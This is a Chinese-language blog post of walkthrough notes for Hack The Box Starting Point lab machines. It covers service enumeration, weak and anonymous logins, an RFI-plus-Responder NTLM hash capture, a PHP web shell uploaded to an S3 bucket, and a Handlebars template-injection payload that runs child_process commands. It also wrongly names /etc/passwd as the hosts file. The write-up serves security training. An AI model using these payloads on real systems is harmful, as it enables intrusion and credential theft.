Ttoc's blog

必须从过去的错误学习教训,而非依赖过去的成功。

0%

htbのSTARTING POINT

想准备试试OSCP,HACK THE BOX还行,学习一些实战知识,以及一些概念了解,部分机器根据协议,我会总结知识点,不会给出全部

STARTING POINT

第0层

*Meow

Tags

telnet

渗透测试仪 1 级

网络

协议

侦察

弱凭证

配置错误

知识点

  1. VPN 启动序列输出中“隧道接口”的缩写名称:tun
  2. 我们使用什么工具通过 ICMP 回显请求测试我们与目标的连接:ping【ping不走代理】
  3. 用于在目标上查找开放端口的最常用工具的名称是什么?:nmap
  4. 我们在扫描期间在端口 23/tcp 上识别出什么服务?:telnet【远程登录】
  5. 什么用户名能够使用空白密码通过 telnet 登录目标?: root

telnet和ssh的区别

加密方式不同:**telnet是明码传输SSH是加密传输**。 telnet通过TCP/IP协议簇来访问远程终端,传输的数据和口令是明文形式。 相对来说不安全,你所有的数据都可被攻击者直接捕获。 SSH相对于telnet安全,它的传输方式是以加密形式传输

过程

1
telnet [target_ip]

image-20230127011324556

*Fawn

Tags

渗透测试仪 1 级

ftp

网络

协议

侦察

匿名/访客访问

知识点

  1. 3 个字母的首字母缩略词 FTP 代表什么?: File Transfer Protocol(文件传输协议)

  2. FTP服务通常监听哪个端口?: 21

  3. FTP 的安全版本使用什么首字母缩写词?: SFTP

  4. 当您想在没有帐户的情况下登录时,通过 FTP 使用的用户名是什么?: anonymous

  5. 我们得到的 FTP 消息“登录成功”的响应代码是什么?:230

    image-20230127001710275

  6. 用于下载我们在 FTP 服务器上找到的文件的命令是什么?:get

FTP

文件传输协议(File Transfer Protocol,FTP)是用于在网络上进行文件传输的一套标准协议,它工作在 OSI 模型的第七层, TCP 模型的第四层, 即应用层, 使用 TCP 传输而不是 UDP, 客户在和服务器建立连接前要经过一个“三次握手”的过程, 保证客户与服务器之间的连接是可靠的, 而且是面向连接, 为数据传输提供可靠保证。

SFTP

sftp是Secure File Transfer Protocol的缩写,安全文件传送协议。可以为传输文件提供一种安全的网络的加密方法。sftp 与 ftp 有着几乎一样的语法和功能。SFTP 为 SSH的其中一部分,是一种传输档案至 Blogger 伺服器的安全方式。其实在SSH软件包中,已经包含了一个叫作SFTP(Secure File Transfer Protocol)的安全文件信息传输子系统,SFTP本身没有单独的守护进程,它必须使用sshd守护进程(端口号默认是22)来完成相应的连接和答复操作,所以从某种意义上来说,SFTP并不像一个服务器程序,而更像是一个客户端程序。

SFTP同样是使用加密传输认证信息和传输的数据,所以,使用SFTP是非常安全的。但是,由于这种传输方式使用了加密/解密技术,所以传输效率比普通的FTP要低得多,如果您对网络安全性要求更高时,可以使用SFTP代替FTP。

过程

1
ftp [USER@]HOST [PORT]

image-20230127011036214

*Dancing

Tags

网络

协议

SMB

渗透测试仪 1 级

侦察

匿名/访客访问

知识点

  1. 3 个字母的首字母缩略词 SMB 代表什么?:Server Message Block(服务器消息块)
  2. SMB 使用哪个端口进行操作?: 445
  3. 我们可以使用 SMB 工具来“列出”共享内容的“标志”或“开关”是什么?: -L
  4. 我们最终能够使用空白密码访问的共享名称是什么?: WorkShares
  5. 我们可以在 SMB shell 中使用什么命令来下载我们找到的文件?: get

什么是SMB

SMB是客户端与服务器的交互协议,客户端在其中请求文件,然后服务器将文件提供给客户端。

现在,它是一个基于Windows的网络,使用户可以创建,修改和删除网络中的共享文件,文件夹,打印机。SMB是使用TCP端口445进行通信的应用程序分层协议。

它还提供了一种草根化的互通机制,可以在客户端和服务器之间进行传输以共享文件。随着其版本的升级,服务将得到更大的增强,并可以被用户或客户端有效使用。

SMB如何运作

SMB是一种请求-响应协议,这意味着它在客户端和服务器之间传输多条消息以完成请求。

FTP, SMB, NFS的区别

image-20230127003921531

NFS 最好,速度快点,配置复杂点
FTP 最通用,最简单
SMB 不太稳定,有时候Win 会提示找不到地址

过程

1
2
 smbclient -L [target_ip]
#列出所有可用共享

image-20230127010237573

1
2
smbclient \\\\[target_ip]\\WorkShares
#连接到 WorkShares

image-20230127010626438

Redeemer

Tags

Redis

渗透测试仪 1 级

漏洞评估

数据库

侦察

匿名/访客访问

知识点

  1. Redis 是什么类型的数据库?:In-memory Database(内存数据库)
  2. 哪个命令行实用程序用于与 Redis 服务器交互?输入您要在终端中输入的程序名称,不带任何参数。: redis-cli
  3. Redis 命令行实用程序使用哪个标志来指定主机名?: -h
  4. 连接到Redis服务器后,使用哪个命令获取有关Redis服务器的信息和统计信息?: info
  5. 在 Redis 中使用哪个命令来选择所需的数据库?: select
  6. 哪个命令用于获取数据库中的所有键?: keys *
  7. 哪个命令用于读取键值?:get

什么是Redis

Redis (REmote DIctionary Server) 是一种开源的高级 NoSQL 键值数据存储,用作数据库、缓存和消息代理。

数据以具有键值对的字典格式存储。数据库存储在服务器的 RAM(内存中)中以实现快速数据访问。Redis 还会以不同的时间间隔将数据库的内容写入磁盘,以在发生故障时将其作为备份持久保存

Redis 是一个开源的使用 ANSI C 语言编写、遵守 BSD 协议、支持网络、可基于内存、分布式、可选持久性的键值对(Key-Value)存储数据库,并提供多种语言的 API。

Redis 通常被称为数据结构服务器,因为值(value)可以是字符串(String)、哈希(Hash)、列表(list)、集合(sets)和有序集合(sorted sets)等类型。

什么是NoSQL

NoSQL,泛指非关系型的数据库。

随着互联网web2.0网站的兴起,传统的关系数据库在处理web2.0网站,特别是超大规模和高并发的SNS类型的web2.0纯动态网站已经显得力不从心,出现了很多难以克服的问题,而非关系型的数据库则由于其本身的特点得到了非常迅速的发展。

NoSQL数据库的产生就是为了解决大规模数据集合多重数据种类带来的挑战,特别是大数据应用难题。

过程

1
2
redis-cli -h target_ip
#连接到 redis 服务器

image-20230127145928047

1
2
keys * 
#获取数据库中的所有键

image-20230127145944398

1
2
get flag
#获取flag键值

【动态flag,不能展示.png】

·Explosion

Tags

网络

编程

RDP

渗透测试仪 1 级

侦察

弱凭证

知识点

  1. 3 个字母的首字母缩略词 RDP 代表什么?:Remote Desktop Protocol(远程桌面协议)
  2. 表示通过命令行界面与主机交互的三个字母的首字母缩写词是什么?:CLI
  3. 那么图形用户界面交互呢?:GUI
  4. 默认情况下未加密的旧远程访问工具的名称是什么?:telnet
  5. 在 TCP 3389 端口上运行的服务的名称是什么?ms-wbt-server(RDP服务,默认端口3389)
  6. 使用 xfreerdp 时用于指定目标主机 IP 地址的开关是什么?:/v:(打开工具即可查看)
  7. 什么用户名使用空白密码成功返回桌面投影给我们?: administrator(windows用户的最高权限)

什么是RDP

远程桌面协议 ( RDP ) 是 Microsoft 开发的专有协议,它为用户提供图形界面以通过网络连接到另一台计算机。用户为此目的使用RDP客户端软件,而另一台计算机必须运行 RDP服务器软件

什么是freerdp

FreeRDP是一个Remote Desktop Protocol(协议)的一个实现,遵循Apache开源协议,支持3D功能,并有较高刷新率,也支持RemoteFX,H264编解码,用户管理,音频以及外设重定向等功能。

过程

1
xfreerdp /v:10.129.31.107 /u:administrator

image-20230127174214417

Preignition

Tags

网络

传统应用

Apache

渗透测试仪 1 级

侦察

网站结构发现

默认凭证

知识点

  1. 目录暴力破解是一种用于检查 Web 服务器上的许多路径以查找隐藏页面的技术。另叫做?:dir busting

  2. nmap的扫描用什么switch来指定我们要进行版本检测:-sV

  3. 我们使用什么开关来指定我们要专门执行 dir busting 的 Gobuster?:dir

  4. 当使用 gobuster 到 dir bust 时,我们添加什么开关以确保它找到 PHP 页面?:-x php

什么是Gobuster

Gobuster是Kali Linux默认安装的一款暴力扫描工具。 它是使用Go语言编写的命令行工具,具备优异的执行效率和并发性能。 该工具支持对子域名和Web目录进行基于字典的暴力扫描。

过程

1
gobuster dir -w /usr/share/wordlists/dirb/common.txt -u http://10.129.158.233/

image-20230127211339954

【下面是由于我用的wsl,没用vm,无法启动chrome,于是用curl传post登录数据,没有要求直接弱密码】

1
2
curl http://10.129.158.233/admin.php -X POST -d "username=admin&password=adm
in"

image-20230127211215675

*Mongod

Tags

MongoDB

渗透测试仪 1 级

网络

数据库

侦察

配置错误

匿名/访客访问

知识点

  1. MongoDB 是什么类型的数据库?: NoSQL

  2. 与 mongodb-clients 软件包一起安装的 Mongo shell 的命令名称是什么?: mongo

  3. 用于列出 MongoDB 服务器上存在的所有数据库的命令是什么?: show dbs

  4. 用于列出数据库中集合的命令是什么?: show collections

  5. 将名为 flag 的集合中所有文档的内容以易于阅读的格式转储的命令是什么?: db.flag.find().pretty()

什么是MongoDB

MongoDB是一个基于分布式文件存储 [1] 的数据库。由C++语言编写。旨在为WEB应用提供可扩展的高性能数据存储解决方案。

MongoDB是一个介于关系数据库和非关系数据库之间的产品,是非关系数据库当中功能最丰富,最像关系数据库的。它支持的数据结构非常松散,是类似jsonbson格式,因此可以存储比较复杂的数据类型。Mongo最大的特点是它支持的查询语言非常强大,其语法有点类似于面向对象的查询语言,几乎可以实现类似关系数据库单表查询的绝大部分功能,而且还支持对数据建立索引

过程

1
mongo mongodb://10.129.173.130

image-20230129215710939

1
show dbs

image-20230129215752293

1
use sensitive_information

image-20230129215912471

1
show collections

image-20230129215847534

1
db.flag.find().pretty()

image-20230129215955916

*Synced

Tags

Rsync

渗透测试仪 1 级

网络

协议

侦察

匿名/访客访问

知识点

  1. rsync 的默认端口是什么?:873
  2. Linux 上与 rsync 交互的最常用命令名称是什么?:rsync
  3. 您必须向 rsync 传递哪些凭据才能使用匿名身份验证?:None(无)
  4. 仅列出 rsync 上的共享和文件的选项是什么?(无需包括前导 – 字符):list-only

什么是rsync

rsync是linux系统下的数据镜像备份工具。使用快速增量备份工具Remote Sync可以远程同步,支持本地复制,或者与其他SSH、rsync主机同步。

已支持跨平台,可以在Windows与Linux间进行数据同步。

过程

1
rsync --list-only 10.129.33.133::

image-20230129222433250

1
rsync --list-only 10.129.33.133::public

image-20230129222509164

1
rsync 10.129.33.133::public/flag.txt flag.txt
1
ls

image-20230129223114091

第1层

Appointment

Tags

网络

数据库

注入

Apache

SQL

PHP

数据库

渗透测试仪 1 级

侦察

SQL注入

知识点

  1. SQL 的缩写代表什么?:Structured Query Language(结构化查询语言)
  2. 最常见的 SQL 漏洞类型之一是什么?:SQL injection(SQL注入)
  3. PII 代表什么?:Personally Identifiable Information(个人身份信息)
  4. 此漏洞的 2021 OWASP Top 10 分类是什么?:A03:2021-Injection
  5. HTTPS 协议使用的标准端口是什么?:443
  6. Web 应用程序术语中的文件夹是什么?:directory
  7. “未找到”错误的 HTTP 响应代码是什么?:404
  8. 如果不小心处理用户输入,它可能会被解释为评论。在不知道密码的情况下使用评论以管理员身份登录。返回的网页上的第一个词是什么?:Congratulations

Sequel

Tags

漏洞评估

数据库

MySQL

SQL

渗透测试仪 1 级

侦察

弱凭证

知识点

  1. 哪个端口为 MySQL 提供服务?:3306
  2. 使用 MySQL 命令行客户端时,我们需要使用什么开关来指定登录用户名?:-u
  3. 在 SQL 中,我们可以使用什么符号来在查询中指定我们要显示表中的所有内容?:*

Crocodile

Tags

网络

传统应用

协议

Apache

FTP

渗透测试仪 1 级

侦察

网站结构发现

明文凭证

匿名/访客访问

知识点

  1. 什么 Nmap 扫描开关在扫描期间使用默认脚本?:-sC
  2. “允许匿名 FTP 登录”消息返回给我们的 FTP 代码是什么?:230
  3. 使用 ftp 客户端连接到 FTP 服务器后,当提示匿名登录时,我们提供什么用户名?:anonymous
  4. 匿名连接到FTP服务器后,我们可以使用什么命令来下载我们在FTP服务器上找到的文件呢?:get
  5. 我们可以使用 Gobuster 的什么开关来指定我们正在寻找特定的文件类型:-x

过程

1
ftp 10.129.33.176

image-20230130000838109

image-20230130000857706

扫描找到登录页面

1
dirsearch -u 10.129.33.176

image-20230130002433765

然后抓包字典爆破得到账号密码,登录得到flag

image-20230130003936082

Responder

Tags

WinRM

网络

传统应用

协议

XAMPP

SMB

Responder

PHP

渗透测试仪 1 级

侦察

密码破解

哈希捕获

远程文件包含

远程代码执行

知识点

  1. 用于加载网页不同语言版本的 URL 参数的名称是什么?:page
  2. page 参数的以下哪些值是利用本地文件包含 (LFI) 漏洞的示例:../../../../../../../../windows/system32/drivers/etc/hosts
  3. page 参数的以下哪些值是利用远程文件包含 (RFI) 漏洞的示例://10.10.14.6/somefile
  4. NTLM 代表什么?:New Technology LAN Manager
  5. 在 Responder 实用程序中使用哪个标志来指定网络接口?:-i
  6. 有几种工具可以接受 NetNTLMv2 质询/响应并尝试数百万个密码以查看其中是否有任何一个生成相同的响应。一种这样的工具通常被称为 john,但全名是什么?:John the Ripper

什么是smb?

SMB(全称是Server Message Block)是一个网络协议名,它能被用于Web连接和客户端与服务器之间的信息沟通。

什么是WinRM?

WinRMWindows 远程管理Windows Remote Management)是WEB服务管理微软Microsoft Windows中的实现,它允许处于一个共同网络内的Microsoft Windows计算机彼此之间互相访问和交换信息。在一台机器启用WinRM后,另一台机器就能通过Windows PowerShell对开启WinRM的机器进行远程管理

什么是XAMPP?

XAMPP(Apache+MySQL+PHP+PERL)是一个功能强大的建站集成软件包。这个软件包原来的名字是 LAMPP,但是为了避免误解,最新的几个版本就改名为 XAMPP 了。它可以在Windows、LinuxSolaris、[Mac OS X](https://baike.baidu.com/item/Mac OS X/470629) 等多种操作系统下安装使用,支持多语言:英文、简体中文、繁体中文韩文俄文、日文等。

什么是NTLM?

NTLM是Windows 新技术 LAN 管理器(NTLM) 是 Microsoft 提供的一套安全协议,用于验证用户身份并保护其活动的完整性和机密性。

指telnet 的一种验证身份方式,即问询/应答身份验证协议,是Windows NT 早期版本的标准安全协议,Windows 2000 支持NTLM 是为了保持向后兼容。 Windows 2000内置三种基本安全协议之一。

什么是Responder?

Responder就是这样一种利用身份认证协议,监听获取口令哈希的工具。 如果客户端/目标无法通过DNS域名解析,则会回退到LLMNR(在Windows Vista中引入)和NBT-NS进行解析LLMNR(链路本地多播名称解析):多播方式查找网络上的主机,其它主机响应IP,然后连接。

什么是evil-winrm?

evil-winrm是Windows远程管理(WinRM) Shell的终极版本。 Windows远程管理是“WS 管理协议的Microsoft 实施,该协议是基于标准SOAP、不受防火墙影响的协议,允许不同供应商的硬件和操作系统相互操作。

过程

启动responder并指定监听本地的tun0网卡,

然后由于靶机存在RFI,因此可以远程访问本地的某个文件,使用responder拿到主机的administrator哈希,然后使用john破解。

1
responder -I tun0

image-20230130222039665

访问http://unika.htb/index.php?page=//10.10.16.28/somefile

[需要先修改hosts文件,把重定向ip修改到对应域名]

这里ip为本地tun0网卡ip

image-20230130225041057

image-20230130225118212

1
john -t hash.txt

得到密码

evil-winrm登录

1
evil-winrm -i 10.129.198.112 -u Administrator -p badminton

image-20230130232209879

flagmike用户的Desktop目录中

Three

Tags

网络

Cloud

传统应用

AWS

渗透测试仪 1 级

侦察

网站结构发现

桶枚举

任意文件上传

匿名/访客访问

知识点

  1. 哪个命令行实用程序可用于与在已发现的子域上运行的服务进行交互?:awscli
  2. 哪个命令用于设置 AWS CLI 安装?:aws configure
  3. 上述实用程序用于列出所有 S3 存储桶的命令是什么?:aws s3 ls

什么是aws?

亚马逊AWS(Amazon Web Services (AWS) )是亚马逊提供的是全球最全面、应用最广泛的云平台,从全球数据中心提供超过 200 项功能齐全的服务。数百万客户(包括增长最快速的初创公司、最大型企业和主要的政府机构)都在使用 AWS 来降低成本、提高敏捷性并加速创新。

什么是awscli?

AWS 命令行界面(AWS CLI)是用于管理AWS 产品的统一工具。 只需要下载和配置一个工具,您就可以使用命令行控制多个AWS 产品并利用脚本来自动执行这些服务

什么是 Amazon S3?

Amazon Simple Storage Service(Amazon S3)是一种对象存储服务,提供行业领先的可扩展性、数据可用性、安全性和性能。各种规模和行业的客户都可以使用 Amazon S3 存储和保护任意数量的数据,用于数据湖、网站、移动应用程序、备份和恢复、归档、企业应用程序、IoT 设备和大数据分析。Amazon S3 提供了管理功能,使您可以优化、组织和配置对数据的访问,以满足您的特定业务、组织和合规性要求。

什么是Bucket Enumeration(存储桶枚举)?

S3 存储桶枚举是查询 S3 存储桶和这些存储桶中的对象的过程。这可以使用不同的 AWS API 调用来完成,例如列出存储桶、获取存储桶内容或 ListObjects。此过程旨在确定给定存储桶中存在哪些 S3 对象。您可以使用此信息来帮助您更好地了解您的数据资源,并就如何最好地管理它做出决定。

过程

gobuster爆破子域名

1
gobuster vhost -w /usr/share/wordlists/subdomains-top1million-5000.txt -u http://thetoppers.htb

列出该s3存储桶下的内容

1
aws s3 ls --endpoint=http://s3.thetoppers.htb/ s3://thetoppers.htb

image-20230131004300879

本地写一个一句话木马脚本

1
echo '<?php system($_GET["cmd"]);?>' > shell.php 

上传本地一句话木马到s3存储桶

1
aws s3 cp shell.php --endpoint=http://s3.thetoppers.htb/ s3://thetoppers.htb 

image-20230131004712717

访问看看是否成功

1
curl http://thetoppers.htb/shell.php?cmd=ls

image-20230131004810309

然后蚁剑连接也行,但htb的vpn不走主机连不上

所以可以利用nc反弹shell,也可以直接利用脚本在进行命令执行读取flag

image-20230131005440119

Ignition

Tags

web

常见应用

Magento

渗透测试员 1 级

侦察

网站结构发现

弱凭据

知识点

  1. Linux 计算机上保存域名到 IP 地址对的本地列表的文件的完整路径是什么?:/etc/passwd
  2. 查找Magento的密码要求,并尝试搜索2023年最常见的密码。哪个密码可以访问管理员帐户?:qwerty123

Magento是什么

MagentoAdobe公司旗下一个功能丰富的专业开源电子商务解决方案,为商家提供一个外观、内容和功能的完全灵活控制。Magento直观的管理界面包含强大的营销、商品推销和内容管理工具,使商家能够创建适合其独特业务需求的站点。Magento号称宇宙最强企业终极电子商务解决方案

2023年排名前十的密码

  1. 123456
  2. 123456789
  3. qwerty
  4. password
  5. 12345
  6. qwerty123
  7. 1q2w3e
  8. 12345678
  9. 111111
  10. 1234567890

*Bike

Tags

Javascript

Web

Injection

Custom Applications

NodeJS

Penetration Tester Level 1

侦察

远程代码执行

服务器端模板注入 (SSTI)

知识点

  1. Node.JS 中使用的模板引擎是什么?:handlebars

  2. 为了在 HTTP 请求中发送有效负载中的特殊字符,我们将对有效负载进行编码。我们使用什么类型的编码?:URL

  3. 当我们使用来自 HackTricks 的有效负载来尝试运行系统命令时,我们会收到错误。响应错误中的“未定义”是什么?:require

  4. Node.JS 中顶级作用域的名称是什么变量?:Global

  5. 通过利用此漏洞,我们以运行 Web 服务器的用户身份执行命令。该用户的名称是什么?:root

过程

先在HackTricks查看handlebars模板引擎注入payload模板

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
{{#with "s" as |string|}}
{{#with "e"}}
{{#with split as |conslist|}}
{{this.pop}}
{{this.push (lookup string.sub "constructor")}}
{{this.pop}}
{{#with string.split as |codelist|}}
{{this.pop}}
{{this.push "return require('child_process').exec('whoami');"}}
{{this.pop}}
{{#each conslist}}
{{#with (string.sub.apply 0 codelist)}}
{{this}}
{{/with}}
{{/each}}
{{/with}}
{{/with}}
{{/with}}
{{/with}}

关键代码为

1
{{this.push "return require('child_process').exec('whoami');"}}

URL编码

这是关键,因为只有对特殊字符编码后,网站才能正常识别

修改payload

如果直接使用这个模板payload会发生报错

概念

Process.MainModule 属性

获取关联进程的主模块

child_process模块

child_process模块充当 spawnexec、execFilefork 函数的命名空间。

调用以引用模块,然后调用其成员函数之一以创建新进程。

就是在当前主进程开一个子进程用于shell命令执行

第2层